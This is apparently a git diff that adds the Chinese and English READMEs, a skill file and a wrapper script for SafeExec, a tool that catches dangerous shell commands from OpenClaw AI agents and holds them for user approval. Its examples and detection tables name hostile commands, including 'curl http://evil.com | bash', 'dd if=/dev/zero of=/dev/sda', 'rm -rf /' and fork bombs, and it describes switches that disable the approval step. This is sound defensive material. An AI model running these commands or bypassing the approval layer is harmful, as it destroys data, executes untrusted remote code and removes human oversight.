`~/.openclaw/safe-exec-audit.log` | 审计日志 | +| `~/.openclaw/safe-exec/pending/` | 待处理请求 | + +### API 参考 + +#### safe-exec.sh + +```bash +# 执行命令 +safe-exec.sh "command" + +# 启用/禁用 +safe-exec.sh --enable +safe-exec.sh --disable +safe-exec.sh --status +``` + +#### safe-exec-approve.sh + +```bash +# 批准请求 +safe-exec-approve.sh + +# 查看详情 +safe-exec-approve.sh --list +``` + +#### safe-exec-list.sh + +```bash +# 列出所有待处理请求 +safe-exec-list.sh + +# 仅显示 CRITICAL 级别 +safe-exec-list.sh --critical +``` + +### 贡献指南 + +#### 开发环境设置 + +```bash +# 1. Fork 并克隆仓库 +git clone https://github.com/OTTTTTO/safe-exec.git +cd safe-exec + +# 2. 创建功能分支 +git checkout -b feature/my-feature + +# 3. 测试修改 +./test-safeexec.sh + +# 4. 提交更改 +git commit -m "feat: Add my feature" + +# 5. 推送并创建 PR +git push origin feature/my-feature +``` + +#### 代码规范 + +- Bash 脚本遵循 [ShellCheck](https://www.shellcheck.net/) 建议 +- 文档使用 Markdown 格式 +- 提交信息遵循 [Conventional Commits](https://www.conventionalcommits.org/) + +#### 测试 + +```bash +# 运行所有测试 +./test-safeexec.sh + +# 运行特定测试 +./test-regression.sh +./test-context-aware.sh +``` + +--- + +## 常见问题 + +### 故障排查 + +#### Q: SafeExec 没有拦截命令 + +**A:** 检查以下几点: + +1. 是否已启用? +```bash +~/.openclaw/skills/safe-exec/safe-exec.sh --status +``` + +2. 是否被环境变量禁用? +```bash +echo $SAFE_EXEC_DISABLE +``` + +3. 命令是否在白名单中? + +#### Q: 批准命令后没有执行 + +**A:** 可能的原因: + +1. 请求已超时(5分钟) +2. 命令语法错误 +3. 权限不足 + +查看审计日志: +```bash +tail -f ~/.openclaw/safe-exec-audit.log +``` + +#### Q: 如何重置所有状态? + +**A:** 删除数据文件: +```bash +rm -rf ~/.openclaw/safe-exec/ +rm ~/.openclaw/safe-exec-* +``` + +### 最佳实践 + +#### 1. 生产环境使用 + +```bash +# 启用自动确认低中风险操作 +export SAFE_EXEC_AUTO_CONFIRM=1 + +# 定期备份审计日志 +cp ~/.openclaw/safe-exec-audit.log ~/.backup/ +``` + +#### 2. 多用户环境 + +为每个用户配置独立的规则文件: +```bash +export SAFE_EXEC_RULES_FILE="/home/user/.safe-exec-rules.json" +``` + +#### 3. 与其他工具集成 + +**与 sudo 集成:** +```bash +# 在 sudoers 中添加 +Defaults secure_path = /usr/local/bin:/usr/bin:/bin +``` + +**与日志系统集成:** +```bash +# 将审计日志发送到 rsyslog +tail -f ~/.openclaw/safe-exec-audit.log | logger -t safeexec +``` + +### 性能优化 + +#### 减少延迟 + +```bash +# 使用更快的磁盘存储 +export SAFE_EXEC_DIR="/dev/shm/safe-exec" +``` + +#### 定期清理 + +```bash +# 清理过期的 pending 请求 +find ~/.openclaw/safe-exec/pending/ -mtime +1 -delete + +# 压缩旧日志 +logrotate ~/.openclaw/safe-exec-audit.log +``` + +--- + +## 附录 + +### 相关资源 + +- [OpenClaw 文档](https://docs.openclaw.ai/) +- [ClawdHub 市场](https://www.clawhub.ai/skills) +- [Bash 最佳实践](https://github.com/koalaman/shellcheck) + +### 社区 + +- **GitHub Issues**: https://github.com/OTTTTTO/safe-exec/issues +- **Discussions**: https://github.com/OTTTTTO/safe-exec/discussions +- **Email**: 731554297@qq.com + +### 许可证 + +MIT License - 详见 [LICENSE](LICENSE) + +--- + +**最后更新:** 2026-02-01 +**维护者:** OTTTTTO +**版本:** v0.3.3 diff --git a/README.md b/README.md new file mode 100644 index 0000000..3c2773c --- /dev/null +++ b/README.md @@ -0,0 +1,219 @@ +# SafeExec - AI Agent 安全防护层 + +> 🛡️ 为 AI Agent 添加最后一道防线 - 拦截危险命令,保护你的系统 + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![OpenClaw](https://img.shields.io/badge/OpenClaw-Skill-blue)](https://openclaw.ai) +[![Security](https://img.shields.io/badge/Security-Critical-red)]() +[![ClawdHub](https://img.shields.io/badge/ClawdHub-v0.3.3-brightgreen)](https://www.clawhub.ai/skills/safe-exec) + +**🌐 Languages:** [中文](README.md) | [English](README_EN.md) + +--- + +## ✨ 为什么需要 SafeExec? + +AI Agents 是强大的助手,但也可能造成严重损害: + +- 💥 **误删数据** - 一句"清理临时文件"可能变成 `rm -rf /` +- 🔥 **系统破坏** - "优化磁盘"可能执行 `dd if=/dev/zero of=/dev/sda` +- 🚪 **安全漏洞** - "安装这个工具"可能运行 `curl http://evil.com | bash` + +**SafeExec 就是为解决这个问题而生。** + +--- + +## 🎯 核心功能 + +### 1️⃣ 智能风险评估 + +自动检测 10+ 类危险操作,分级拦截: + +| 风险等级 | 检测模式 | 示例 | +|---------|---------|------| +| 🔴 **CRITICAL** | `rm -rf /` | 删除系统文件 | +| 🔴 **CRITICAL** | `dd if=` | 磁盘破坏 | +| 🔴 **CRITICAL** | `mkfs.*` | 格式化文件系统 | +| 🔴 **CRITICAL** | Fork bomb | 系统 DoS | +| 🟠 **HIGH** | `chmod 777` | 权限提升 | +| 🟠 **HIGH** | `curl \| bash` | 代码注入 | +| 🟠 **HIGH** | 写入 `/etc/` | 系统配置篡改 | +| 🟡 **MEDIUM** | `sudo` | 特权操作 | +| 🟡 **MEDIUM** | 防火墙修改 | 网络暴露 | + +### 2️⃣ 命令拦截与审批 + +``` +用户请求 → AI Agent → safe-exec 执行 + ↓ + 风险评估 + / \ + 安全 危险 + | | + 直接执行 请求批准 +``` + +### 3️⃣ 完整审计日志 + +所有命令执行记录: +- 时间戳 +- 命令内容 +- 风险等级 +- 批准状态 +- 执行结果 + +--- + +## 🚀 快速开始 + +### 方式 1:对话式安装(推荐) + +**最简单的方式 - 在 OpenClaw 对话中一键安装:** + +``` +Help me install SafeExec skill from ClawdHub +``` + +或中文: +``` +帮我安装 ClawdHub 中的 SafeExec skills +``` + +OpenClaw 会自动: +1. 从 ClawdHub 下载 SafeExec +2. 安装到系统 +3. 配置并启用 + +### 方式 2:使用 ClawdHub CLI + +```bash +# 设置 registry +export CLAWDHUB_REGISTRY=https://www.clawhub.ai + +# 安装 SafeExec +clawdhub install safe-exec + +# 启用 SafeExec +echo "Enable SafeExec" | openclaw +``` + +### 方式 3:从 GitHub 安装 + +```bash +# 克隆到 OpenClaw skills 目录 +git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec + +# 添加执行权限 +chmod +x ~/.openclaw/skills/safe-exec/scripts/*.sh + +# 创建软链接到 PATH +ln -sf ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec +ln -sf ~/.openclaw/skills/safe-exec/scripts/safe-exec-*.sh ~/.local/bin/ + +# 启用 SafeExec +~/.local/bin/safe-exec --enable +``` + +--- + +## 💬 使用方法 + +### 启用 SafeExec + +**对话式命令:** +``` +Enable SafeExec +``` + +``` +Turn on SafeExec +``` + +``` +启动安全命令执行 +``` + +启用后,SafeExec 在后台自动监控所有 shell 命令。 + +### 正常使用 + +启用后,你可以正常与 Agent 对话: + +``` +Delete old log files from /var/log +``` + +SafeExec 会自动: +1. 检测这是 HIGH 风险操作(删除) +2. 在终端显示批准提示 +3. 等待你批准后执行 + +### 安全操作直接通过 + +低风险操作无需批准: + +``` +List files in /home/user/documents +``` + +这会直接执行,无需干预。 + +### 查看状态 + +```bash +# 查看待处理的请求 +~/.local/bin/safe-exec-list + +# 或使用完整路径 +~/.openclaw/skills/safe-exec/scripts/safe-exec-list.sh + +# 查看审计日志 +cat ~/.openclaw/safe-exec-audit.log +``` + +### 禁用 SafeExec + +**对话式:** +``` +Disable SafeExec +``` + +**或环境变量:** +```bash +export SAFE_EXEC_DISABLE=1 +``` + +--- + +## 📖 详细文档 + +想要了解更多?查看完整文档: + +- **📘 [完整使用指南](README-detail.md#使用指南)** - 详细的功能说明和配置 +- **🔧 [高级配置](README-detail.md#高级配置)** - 环境变量和自定义规则 +- **🛠️ [开发文档](README-detail.md#开发文档)** - 贡献指南和 API 说明 +- **❓ [常见问题](README-detail.md#常见问题)** - 故障排查和最佳实践 +- **📝 [更新日志](CHANGELOG.md)** - 版本历史和变更记录 + +--- + +## 🔗 相关链接 + +- **📦 ClawdHub**: https://www.clawhub.ai/skills/safe-exec +- **🐙 GitHub**: https://github.com/OTTTTTO/safe-exec +- **🐛 Issue Tracker**: https://github.com/OTTTTTO/safe-exec/issues +- **💬 讨论**: [GitHub Discussions](https://github.com/OTTTTTO/safe-exec/discussions) + +--- + +## 📊 许可证 + +MIT License - 详见 [LICENSE](LICENSE) + +--- + +## ⭐ Star History + +[![Star History Chart](https://api.star-history.com/svg?repos=OTTTTTO/safe-exec&type=Date)](https://star-history.com/#OTTTTTO/safe-exec&Date) + +如果这个项目对你有帮助,请给个 ⭐️ diff --git a/README_EN.md b/README_EN.md new file mode 100644 index 0000000..c78add9 --- /dev/null +++ b/README_EN.md @@ -0,0 +1,599 @@ +# SafeExec - AI Agent Security Layer + +> 🛡️ The last line of defense for AI Agents - Intercept dangerous commands and protect your system + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![OpenClaw](https://img.shields.io/badge/OpenClaw-Skill-blue)](https://openclaw.ai) +[![Security](https://img.shields.io/badge/Security-Critical-red)]() + +--- + +## ✨ Why SafeExec? + +AI Agents are powerful assistants, but they can also cause serious damage: + +- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /` +- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda` +- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash` + +**SafeExec was built to solve exactly these problems.** + +--- + +## 🎯 Core Features + +### 1️⃣ Intelligent Risk Assessment + +Automatically detects 10+ categories of dangerous operations: + +| Risk Level | Detection Pattern | Description | +|------------|------------------|-------------| +| 🔴 **CRITICAL** | `rm -rf /` | Delete system files | +| 🔴 **CRITICAL** | `dd if=` | Disk destruction | +| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem | +| 🔴 **CRITICAL** | Fork bomb | System DoS | +| 🟠 **HIGH** | `chmod 777` | Privilege escalation | +| 🟠 **HIGH** | `curl | bash` | Code injection | +| 🟠 **HIGH** | Write to `/etc/` | System config tampering | +| 🟡 **MEDIUM** | `sudo` | Privileged operations | +| 🟡 **MEDIUM** | Firewall modification | Network exposure | + +### 2️⃣ Command Interception & Approval + +``` +User Request → AI Agent → safe-exec execution + ↓ + Risk Assessment + / \ + Safe Dangerous + | | + Execute Intercept + Notify + ↓ + Wait for User Approval + ↓ + [Approve] → Execute / [Reject] → Cancel +``` + +### 3️⃣ Complete Audit Trail + +All operations are logged to `~/.openclaw/safe-exec-audit.log`: + +```json +{ + "timestamp": "2026-01-31T16:44:17.217Z", + "event": "approval_requested", + "requestId": "req_1769877857_2352", + "command": "rm -rf /tmp/test\n", + "risk": "critical", + "reason": "Delete files from root or home directory" +} +``` + +--- + +## ⚡ Quick Start (5 Minutes) + +### Step 1: Install SafeExec + +```bash +# Clone to OpenClaw skills directory +git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec + +# Add execute permissions +chmod +x ~/.openclaw/skills/safe-exec/*.sh + +# Create global commands +ln -sf ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec +``` + +### Step 2: Test SafeExec + +```bash +# Test safe command (executes directly) +safe-exec "echo 'Hello SafeExec!'" +# Output: Hello SafeExec! + +# Test dangerous command (gets intercepted) +safe-exec "rm -rf /tmp/test" +# Output: 🚨 Dangerous operation detected - Command intercepted +``` + +### Step 3: Use in OpenClaw + +Tell OpenClaw in chat: + +``` +Enable SafeExec +``` + +Then try a dangerous command: + +``` +Delete /tmp/test folder +``` + +OpenClaw will automatically intercept and ask for your approval! + +### Step 4: Approve or Reject + +``` +approve req_xxxxx # Execute command +reject req_xxxxx # Cancel command +``` + +That's it! 🎉 + +--- + +## 🚀 Usage + +### Basic Usage + +```bash +# Execute command (safe commands run directly) +safe-exec "ls -la" + +# Dangerous commands get intercepted +safe-exec "rm -rf /tmp/test" + +# List pending requests +safe-exec --list + +# Approve request +safe-exec-approve req_xxxxx + +# Reject request +safe-exec-reject req_xxxxx + +# Check status +safe-exec --status + +# Temporarily disable (only for trusted environments) +safe-exec --disable + +# Re-enable +safe-exec --enable +``` + +### Quick Command Tips + +```bash +# Quick approve latest request +safe-exec-approve $(ls -t ~/.openclaw/safe-exec/pending/ | head -1 | sed 's/.json//') + +# View all pending requests +safe-exec --list | grep "req_" + +# View recent audit log +tail -20 ~/.openclaw/safe-exec-audit.log | jq . + +# Count interceptions +grep "approval_requested" ~/.openclaw/safe-exec-audit.log | wc -l +``` + +--- + +## 📱 OpenClaw Usage Example + +### Scenario: Clean temp files in OpenClaw Chat + +``` +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +👤 User: Enable SafeExec + +🤖 OpenClaw Agent: +✅ SafeExec enabled! + +All dangerous commands will now be intercepted and require your approval. +Protected commands: + • rm -rf / (delete system files) + • dd if= (disk destruction) + • chmod 777 (privilege escalation) + • curl | bash (code injection) + • ... and more + +Status: 🛡️ Running +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +👤 User: Help me force delete all contents of /tmp/test folder + +🤖 OpenClaw Agent: +🚨 **Dangerous Operation Detected - Command Intercepted** + +**Risk Level:** 🔴 CRITICAL +**Command:** `rm -rf /tmp/test` +**Reason:** Delete files from root or home directory +**Matched Rule:** `rm -rf? [\/~]` + +**Request ID:** `req_1769877857_2352` + +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +⚠️ This command requires user approval +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +📋 **Operation to be executed:** + • Delete directory: /tmp/test + • Delete mode: Recursive force delete + • Impact: All files and subdirectories under that directory + +⏰ Request expires in 5 minutes + +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +💡 **Approval Methods:** +1. Reply directly: `approve req_1769877857_2352` +2. Or reply: `safe-exec-approve req_1769877857_2352` + +🚫 **Rejection Methods:** +1. Reply directly: `reject req_1769877857_2352` +2. Or reply: `safe-exec-reject req_1769877857_2352` +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +👤 User: approve req_1769877857_2352 + +🤖 OpenClaw Agent: +✅ **Request Approved - Executing Command** + +**Command:** `rm -rf /tmp/test` +**Status:** Executed successfully +**Deleted:** 15 files, 3 directories + +✨ Operation complete! SafeExec continues protection. +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +👤 User: Disable SafeExec + +🤖 OpenClaw Agent: +⚠️ **SafeExec Disabled** + +⚠️ All commands will execute directly, without protection! + +Only disable in: + ✓ Trusted environments + ✓ Batch execution of known safe commands + ✓ Testing and debugging + +Restore protection: Enable SafeExec +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +``` + +--- + +## 🔗 OpenClaw Agent Integration + +### Auto-Interception Mode + +**Enable SafeExec in OpenClaw config:** + +Edit OpenClaw config file (usually `~/.openclaw/config.json`): + +```json +{ + "tools": { + "exec": { + "security": "allowlist", + "allowlist": [ + "safe-exec*", + "ls", + "cat", + "echo" + ] + } + } +} +``` + +### AI Assistant Best Practices + +#### Method 1: Wrap All Dangerous Commands + +Tell the AI assistant to use safe-exec for all potentially dangerous commands: + +``` +You: From now on, execute all delete, system file modification, or sudo commands through safe-exec + +🤖: Understood! I will route the following command types through safe-exec: + • rm, mv, cp (involving system directories) + • chmod, chown + • All sudo commands + • curl/wget pipe operations +``` + +#### Method 2: Auto-Detection Mode + +Use OpenClaw's HEARTBEAT feature to check for pending approval requests: + +Add to `HEARTBEAT.md`: + +````markdown +# Heartbeat Check + +Run on every heartbeat: + +\`\`\`bash +safe-exec --check-pending 2>/dev/null || echo "✅ No pending approval requests" +\`\`\` + +If there are pending requests, notify the user. +```` + +--- + +## ⚙️ Configuration + +### Custom Rules + +Edit `~/.openclaw/safe-exec-rules.json`: + +```json +{ + "rules": [ + { + "pattern": "YOUR_REGEX_PATTERN", + "risk": "high", + "description": "Your custom rule description" + } + ] +} +``` + +### Environment Variables + +```bash +# Audit log path +export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log" + +# Request timeout (seconds) +export SAFE_EXEC_TIMEOUT=300 +``` + +--- + +## 📊 How It Works + +``` +┌─────────────────────────────────────────────┐ +│ User / AI Agent │ +└──────────────────┬──────────────────────────┘ + │ + ▼ + ┌─────────────────┐ + │ safe-exec │ + │ (entry point) │ + └────────┬─────────┘ + │ + ▼ + ┌─────────────────┐ + │ Risk Assessment │ + │ │ + │ • Pattern match │ + │ • Risk grading │ + │ • Rule engine │ + └────────┬─────────┘ + │ + ┌─────────┴─────────┐ + │ │ + [Safe] [Dangerous] + │ │ + ▼ ▼ + Execute Intercept + Notify + │ │ + │ ┌─────┴─────┐ + │ │ │ + │ Wait Audit Log + │ │ + │ ┌────┴────┐ + │ │ │ + │ [Approve] [Reject] + │ │ │ + │ ▼ ▼ + │ Execute Cancel + │ │ + └─────────┴─────────┘ + │ + ▼ + ┌─────────────┐ + │ Audit Log │ + └─────────────┘ +``` + +--- + +## 🔒 Security Features + +- ✅ **Zero Trust** - All commands require approval by default +- ✅ **Complete Audit** - Log all security events +- ✅ **Immutable Logs** - Audit logs use append-only mode +- ✅ **Minimal Privilege** - No additional system permissions required +- ✅ **Transparency** - Users always know what's being executed +- ✅ **Configurable** - Flexible rule system + +--- + +## 🧪 Testing + +```bash +# Run test suite +bash ~/.openclaw/skills/safe-exec/test.sh + +# Manual testing +safe-exec "echo 'Safe command test'" +safe-exec "rm -rf /tmp/test-dangerous" +``` + +--- + +## 📈 Roadmap + +### v0.2.0 (In Progress) +- [ ] Support more notification channels (Telegram, Discord) +- [ ] Web UI approval interface +- [ ] Smarter risk assessment (machine learning) +- [ ] Batch operation support + +### v0.3.0 (Planned) +- [ ] Multi-user support +- [ ] RBAC permission control +- [ ] Audit log encryption +- [ ] SIEM integration + +### v1.0.0 (Future) +- [ ] Enterprise features +- [ ] SaaS deployment support +- [ ] Complete API + +--- + +## 💡 Best Practices + +### Development Environment Setup + +```bash +# Add to ~/.bashrc or ~/.zshrc +export SAFE_EXEC_TIMEOUT=300 # 5 minute timeout +export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log" + +# Aliases - quick commands +alias se='safe-exec' +alias sea='safe-exec-approve' +alias ser='safe-exec-reject' +alias sel='safe-exec-list' +``` + +### Team Collaboration + +**Shared Rule Set:** + +```bash +# 1. Create team rules file +cat > team-rules.json << EOF +{ + "enabled": true, + "rules": [ + {"pattern": "\\brm\\s+-rf", "risk": "critical", "description": "Team rule: No recursive deletion"}, + {"pattern": "production.*restart", "risk": "critical", "description": "Team rule: Production restart"} + ] +} +EOF + +# 2. Commit to version control +git add team-rules.json +git commit -m "Add team SafeExec rules" + +# 3. Team members pull and import +git pull +safe-exec-add-rule --import team-rules.json +``` + +--- + +## ❓ FAQ + +### Q1: Will SafeExec affect command execution performance? + +**A:** No. For safe commands, SafeExec only performs fast pattern matching (< 1ms). Only dangerous commands trigger the approval flow. + +### Q2: Can I temporarily disable SafeExec? + +**A:** Yes! Use: + +```bash +# Temporarily disable (current session) +safe-exec --disable + +# Re-enable after executing dangerous commands +safe-exec --enable +``` + +⚠️ **Note:** Only disable in trusted environments! + +### Q3: How do I view my command history? + +**A:** Check the audit log: + +```bash +# Real-time view +tail -f ~/.openclaw/safe-exec-audit.log + +# Formatted display +jq '.' ~/.openclaw/safe-exec-audit.log | less + +# View last 10 interceptions +grep "approval_requested" ~/.openclaw/safe-exec-audit.log | tail -10 +``` + +### Q4: Can SafeExec prevent all dangerous operations? + +**A:** SafeExec can prevent most common dangerous operations, but not 100%: + +✅ **Can prevent:** +- Deleting system files (rm -rf /) +- Disk destruction (dd, mkfs) +- Privilege escalation (chmod 777, sudo) +- Code injection (curl | bash) + +❌ **Cannot prevent:** +- Already compromised systems +- Direct hardware operations +- Social engineering attacks + +--- + +## 🤝 Contributing + +Contributions welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for details. + +```bash +# Fork repository +git clone https://github.com/OTTTTTO/safe-exec.git + +# Create feature branch +git checkout -b feature/amazing-feature + +# Commit changes +git commit -m "Add amazing feature" + +# Push to branch +git push origin feature/amazing-feature + +# Open Pull Request +``` + +--- + +## 📝 License + +MIT License - see [LICENSE](LICENSE) file for details + +--- + +## 🙏 Acknowledgments + +- [OpenClaw](https://openclaw.ai) - Powerful AI Agent framework +- [Sudo](https://www.sudo.ws/) - Inspired approval mechanism design +- All contributors and users + +--- + +## 📮 Contact + +- **GitHub Issues**: [Submit issues](https://github.com/OTTTTTO/safe-exec/issues) +- **Email**: 731554297@qq.com +- **Discord**: [OpenClaw Community](https://discord.gg/clawd) + +--- + +## 🌟 Star History + +If this project helps you, please give it a Star ⭐ + +--- + +**Made with ❤️ by the OpenClaw community** + +> "AI is a powerful assistant, but security is always the top priority." + +--- + +## 🌐 Languages + +- [中文](README.md) | [English](README_EN.md) diff --git a/SKILL.md b/SKILL.md new file mode 100644 index 0000000..5ac8e29 --- /dev/null +++ b/SKILL.md @@ -0,0 +1,285 @@ +--- +name: safe-exec +description: "OpenClaw代理的安全命令执行。" +metadata: + { + "openclaw": + { + "env": ["SAFE_EXEC_DISABLE", "OPENCLAW_AGENT_CALL", "SAFE_EXEC_AUTO_CONFIRM"], + "writes": ["~/.openclaw/safe-exec/", "~/.openclaw/safe-exec-audit.log"], + "network": false, + "monitoring": false, + "credentials": [] + }, + "requires": { "bins": ["jq"] }, + "install": + [ + { + "id": "git", + "kind": "git", + "url": "https://github.com/OTTTTTO/safe-exec.git", + "label": "Clone from GitHub", + }, + ], + } +--- + +# SafeExec - Safe Command Execution + +Provides secure command execution capabilities for OpenClaw Agents with automatic interception of dangerous operations and approval workflow. + +## Features + +- 🔍 **Automatic danger pattern detection** - Identifies risky commands before execution +- 🚨 **Risk-based interception** - Multi-level assessment (CRITICAL/HIGH/MEDIUM/LOW) +- 💬 **In-session notifications** - Real-time alerts in your current terminal/session +- ✅ **User approval workflow** - Commands wait for explicit confirmation +- 📊 **Complete audit logging** - Full traceability of all operations +- 🤖 **Agent-friendly** - Non-interactive mode support for automated workflows +- 🔧 **Platform-agnostic** - Works independently of communication tools (webchat, Feishu, Telegram, etc.) +- 🔐 **Security-focused** - No monitoring, no external notifications, no network calls + +## Agent Mode + +When called by OpenClaw agents in non-interactive environments: + +- **Automatic bypass of confirmation prompts** - Prevents agent hanging +- **Full audit logging** - All executions recorded with mode label (agent_auto vs user_approved) +- **Safety preserved** - Danger pattern detection and risk assessment remain active +- **Intended use case** - Automated workflows with human oversight via audit logs + +**Environment variables:** +- `OPENCLAW_AGENT_CALL` - Set by OpenClaw when agent executes commands +- `SAFE_EXEC_AUTO_CONFIRM` - Manual override to auto-approve LOW/MEDIUM risk commands + +**Security Note:** Agent mode does not disable safety checks. CRITICAL and HIGH risk commands are still intercepted, logged, and can be reviewed in audit trail. + +## Quick Start + +### Installation (One Command) + +**The easiest way to install SafeExec:** + +Just say in your OpenClaw chat: +``` +Help me install SafeExec skill from ClawdHub +``` + +OpenClaw will automatically download, install, and configure SafeExec for you! + +### Alternative: Manual Installation + +If you prefer manual installation: + +```bash +# Clone from GitHub +git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec + +# Make scripts executable +chmod +x ~/.openclaw/skills/safe-exec/safe-exec*.sh + +# Create symlinks to PATH (optional) +ln -s ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec +ln -s ~/.openclaw/skills/safe-exec/safe-exec-*.sh ~/.local/bin/ +``` + +### Enable SafeExec + +After installation, simply say: +``` +Enable SafeExec +``` + +SafeExec will start monitoring all shell commands automatically! + +## How It Works + +Once enabled, SafeExec automatically monitors all shell command executions. When a potentially dangerous command is detected, it intercepts the execution and requests your approval through **in-session terminal notifications**. + +**Architecture:** +- Requests stored in: `~/.openclaw/safe-exec/pending/` +- Audit log: `~/.openclaw/safe-exec-audit.log` +- Rules config: `~/.openclaw/safe-exec-rules.json` +- No external network calls +- No background monitoring processes + +## Usage + +**Enable SafeExec:** +``` +Enable SafeExec +``` + +``` +Turn on SafeExec +``` + +``` +Start SafeExec +``` + +Once enabled, SafeExec runs transparently in the background. Agents can execute commands normally, and SafeExec will automatically intercept dangerous operations: + +``` +Delete all files in /tmp/test +``` + +``` +Format the USB drive +``` + +SafeExec detects the risk level and displays an in-session prompt for approval. + +## Risk Levels + +**CRITICAL**: System-destructive commands (rm -rf /, dd, mkfs, fork bombs) +**HIGH**: User data deletion or significant system changes (chmod 777, curl | bash) +**MEDIUM**: Service operations or configuration changes (sudo, firewall modifications) +**LOW**: Read operations and safe file manipulations + +## Approval Workflow + +1. Agent executes a command +2. SafeExec analyzes the risk level +3. **In-session notification displayed** in your terminal +4. Approve or reject via: + - Terminal: `safe-exec-approve ` + - List pending: `safe-exec-list` + - Reject: `safe-exec-reject ` +5. Command executes or is cancelled + +**Example notification:** +``` +🚨 **Dangerous Operation Detected - Command Intercepted** + +**Risk Level:** CRITICAL +**Command:** `rm -rf /tmp/test` +**Reason:** Recursive deletion with force flag + +**Request ID:** `req_1769938492_9730` + +ℹ️ This command requires user approval to execute. + +**Approval Methods:** +1. In terminal: `safe-exec-approve req_1769938492_9730` +2. Or: `safe-exec-list` to view all pending requests + +**Rejection Method:** + `safe-exec-reject req_1769938492_9730` +``` + +## Configuration + +Environment variables for customization: + +- `SAFE_EXEC_DISABLE` - Set to '1' to globally disable safe-exec +- `OPENCLAW_AGENT_CALL` - Automatically enabled in agent mode (non-interactive) +- `SAFE_EXEC_AUTO_CONFIRM` - Auto-approve LOW/MEDIUM risk commands + +## Examples + +**Enable SafeExec:** +``` +Enable SafeExec +``` + +**After enabling, agents work normally:** +``` +Delete old log files from /var/log +``` + +SafeExec automatically detects this is HIGH risk (deletion) and displays an in-session approval prompt. + +**Safe operations pass through without interruption:** +``` +List files in /home/user/documents +``` + +This is LOW risk and executes without approval. + +## Global Control + +**Check status:** +``` +safe-exec-list +``` + +**View audit log:** +```bash +cat ~/.openclaw/safe-exec-audit.log +``` + +**Disable SafeExec globally:** +``` +Disable SafeExec +``` + +Or set environment variable: +```bash +export SAFE_EXEC_DISABLE=1 +``` + +## Reporting Issues + +**Found a bug? Have a feature request?** + +Please report issues at: +🔗 **https://github.com/OTTTTTO/safe-exec/issues** + +We welcome community feedback, bug reports, and feature suggestions! + +When reporting issues, please include: +- SafeExec version (run: `grep "VERSION" ~/.openclaw/skills/safe-exec/safe-exec.sh`) +- OpenClaw version +- Steps to reproduce +- Expected vs actual behavior +- Relevant logs from `~/.openclaw/safe-exec-audit.log` + +## Audit Log + +All command executions are logged with: +- Timestamp +- Command executed +- Risk level +- Execution mode (user_approved / agent_auto) +- Approval status +- Execution result +- Request ID for traceability + +Log location: `~/.openclaw/safe-exec-audit.log` + +## Security & Privacy + +**What SafeExec does:** +- ✅ Intercepts shell commands before execution +- ✅ Detects dangerous patterns using regex matching +- ✅ Requests user approval for risky commands +- ✅ Logs all executions to local audit file +- ✅ Works entirely locally on your machine + +**What SafeExec does NOT do:** +- ❌ No monitoring of chat sessions or conversation history +- ❌ No reading of OpenClaw session data +- ❌ No external network requests (except git clone during installation) +- ❌ No sending data to external services +- ❌ No background monitoring processes or cron jobs +- ❌ No integration with external notification services (Feishu, webhooks, etc.) + +## Integration + +SafeExec integrates seamlessly with OpenClaw agents. Once enabled, it works transparently without requiring changes to agent behavior or command structure. The approval workflow is entirely local and independent of any external communication platform. + +## Platform Independence + +SafeExec operates at the **session level**, working with any communication channel your OpenClaw instance supports (webchat, Feishu, Telegram, Discord, etc.). The approval workflow happens through your terminal, ensuring you maintain control regardless of how you're interacting with your agent. + +## Support & Community + +- **GitHub Repository:** https://github.com/OTTTTTO/safe-exec +- **Issue Tracker:** https://github.com/OTTTTTO/safe-exec/issues +- **Documentation:** [README.md](https://github.com/OTTTTTO/safe-exec/blob/master/README.md) +- **ClawdHub:** https://www.clawhub.ai/skills/safe-exec + +## License + +MIT License - See [LICENSE](https://github.com/OTTTTTO/safe-exec/blob/master/LICENSE) for details. diff --git a/_meta.json b/_meta.json new file mode 100644 index 0000000..d7847ac --- /dev/null +++ b/_meta.json @@ -0,0 +1,6 @@ +{ + "ownerId": "kn78q2k3zm9ec2qp59daha0cvh80atbc", + "slug": "safe-exec", + "version": "0.3.4", + "publishedAt": 1772167761091 +} \ No newline at end of file diff --git a/scripts/safe-exec-ai-wrapper.sh b/scripts/safe-exec-ai-wrapper.sh new file mode 100644 index 0000000..58de86c --- /dev/null +++ b/scripts/safe-exec-ai-wrapper.sh @@ -0,0 +1,28 @@ +#!/bin/bash +# SafeExec AI Wrapper - 上下文感知集成 +# 用于 OpenClaw Agent 集成,自动传递用户消息上下文 + +SAFE_EXEC_BIN="$HOME/.local/bin/safe-exec" + +# 从参数或环境变量获取上下文 +if [[ $# -ge 2 ]]; then + # 命令行参数模式: safe-exec-ai "用户上下文" "命令" + USER_CONTEXT="$1" + COMMAND="$2" + shift 2 +elif [[ -n "${SAFEXEC_CONTEXT:-}" ]]; then + # 环境变量模式 + USER_CONTEXT="$SAFEXEC_CONTEXT" + COMMAND="$1" + shift +else + # 没有上下文,直接执行 + exec $SAFE_EXEC_BIN "$@" + exit $? +fi + +# 导出上下文环境变量 +export 